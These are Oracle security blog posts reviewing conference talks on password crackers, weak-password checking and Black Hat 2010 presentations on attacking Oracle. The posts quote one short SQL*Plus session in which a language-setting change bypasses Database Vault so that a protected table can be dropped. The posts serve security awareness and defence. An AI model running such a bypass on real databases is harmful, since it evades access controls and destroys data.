Alexander Kornbrust Oracle Security Blog

Marcell Major has published his really good presentation „Writing your own password cracker“ from the Hacktivity 2010 security conference in Budapest.

Marcell describes different ways to achieve this goal, e.g. source code analyze, debugging or reverse engineering.

With good examples Marcell showed the password analysis of Apache Derby, Sybase ASE old and new hashing algorithm. The new Sybase ASE (15.0.2+) uses SHA256 and the old SYS-PROB (<15.0.2) is based on an already broken FEAL algorithm. Especially the FEAL algorithm is quit complicated but a good example hat debugging/reversing could do.

• The password cracker for Sybase ASE – SHA256 is called sybcrack and already released.
• The password cracker for Sybase ASE – SYB-PROP (FEAL) will be released soon.

Arup Nanda has released an update for „Project Lockdown“. This new version covers Oracle 11g (R1/R2) as well.

I found a few minor things which are not 100% correct but in general it  is a good introduction.

But there is something I never liked. It’s the recommendation how to check the Oracle database for weak passwords (according to my experience) this is the biggest problem in nearly every organization.

Just using dba_users_with_defpwd or comparing password hashes is not sufficient and misleading (password=username not found). Oracle 11g is using salted hashes and this concept does not work with the view dba_users_with_defpwd.

Why not using a real password checker like woraauthbf, ops_sse or Repscan? They check all the passwords independent from the database version.

My recommendation for the action plan:
Use a real password checker instead of only comparing password hashes

After a longer break here a blog entry again:The presentations and documents from Blackhat 2010 Las Vegas are online.

This year 2 presentations from Esteban and Sid were dedicated to Oracle:

Hacking and protecting Oracle Database Vault – Esteban Fayo

Esteban describes different attacks against Oracle Database Vault.

These well-known techniques are

* With OS access

* Creating and executing a procedure in MACSYS schema

* SYS user can bypass DB Vault

* Impersonating SYS using SQL Injection

* Exploiting other vulnerabilities specific to DB Vault.

Keep in mind that Esteban decribes only a subset of possible attacks. There are for example  other possibilities to execute OS commands or impersonate other users available.

My favorite exploit from this presentation to bypass (older versions of) database vault is the following one:

————————————————

SQL> connect onedba/onedba Connected. 

SQL> drop table hr.jobs cascade constraints;   

drop table hr.jobs cascade constraints   

* ERROR at line 1:   

ORA-00604: error occurred at recursive SQL level 1  

ORA-47401: Realm violation for drop table on HR.JOBS   

ORA-06512: at „DVSYS.AUTHORIZE_EVENT“, line 55  

 ORA-06512: at line 13 — Switch to a different NLS_LANGUAGE 

SQL> alter session set NLS_LANGUAGE=“LATIN AMERICAN SPANISH“; 

Session altered. 

SQL> drop table hr.jobs cascade constraints; 

Table dropped. 

————————————————

It seems that some developers still not realized that there are other countries/languages outside of the US….

Here are the links from the Blackhat page (whitepaper, presentation, scripts) .

Hacking Oracle from the Web – Sumit Siddarth (Sid)

Great summary with different possibilities (Privilege escalation, OS execution, …) how to exploit Oracle from vulnerable web apps.

Really good and useful collection of information. Sid’s blog contains also some nice videos.

Here is the link from the Blackhat page (whitepaper) .